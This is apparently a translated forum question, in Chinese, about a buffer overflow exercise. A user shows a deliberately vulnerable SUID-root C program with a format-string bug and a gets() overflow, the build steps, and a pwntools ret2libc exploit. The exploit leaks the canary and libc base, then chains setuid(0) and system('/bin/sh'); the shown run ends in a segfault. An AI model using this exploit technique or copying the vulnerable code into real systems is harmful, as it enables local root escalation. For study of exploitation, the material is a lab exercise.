我正在尝试在启用所有保护(即 ASLR、canary、PIE、NX、Full RelRO - 禁用 Fortify)的简单 x64 C 二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.3 发行版(在 vmware 中使用来自官方攻击性安全网站的 vmware 映像)。我正在以 root 身份编译程序,并且我正在启用 SUID 位以从非特权帐户访问具有 root 权限的程序。易受攻击的程序 ( example5.c
) 的代码如下:
#include <stdio.h>
int main(int argc, char *argv[]){
vuln_func(argv[1]);
return 0;
}
void vuln_func(char *input){
char buffer[256];
printf(input);
printf("\n");
gets(buffer);
}
并编译我正在使用的程序Makefile
:
all:
gcc example5.c -g -Wl,-z,relro,-z,now -o example5 -fstack-protector -D_FORTIFY_SOURCE=0
clean:
rm example5
所以,我打开我的终端并输入:
su
<enter root password>
make
chmod u+s example5
exit
然后我使用我在 python 3.8.6 中创建的利用 pwntools 来泄漏金丝雀和 libc ( libc-2.31.so
) 的基地址以执行返回 libc 攻击(使用 2 个小工具)。漏洞利用如下(exploit5.py
):
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%21$llx:%41$llx:"])
leak = p.readline().decode("utf-8").split(":")
libc_base = int(leak[0], 16) - 0x1f83cc
canary = int(leak[1], 16)
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret = p64(libc_base + 0x2679e) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
"""
2 gadgets
setuid(0) - run as root
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + 0x25000 + 0xa70c0) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + 0x18a156) # /bin/sh address
code += p64(libc_base + 0x25000 + 0x23db0) # system address
code += p64(libc_base + 0x25000 + 0x195c0) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
尽管这些值已正确泄漏,但我得到如下分段错误:
kali@kali:~/Desktop/boe/example5$ ./exploit5.py
[+] Starting local process './example5': pid 3288
[+] libc base: 0x7ffff7df5000
[+] stack canary: 0xccf346b075ea7800
[*] Switching to interactive mode
[*] Process './example5' stopped with exit code -11 (SIGSEGV) (pid 3288)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive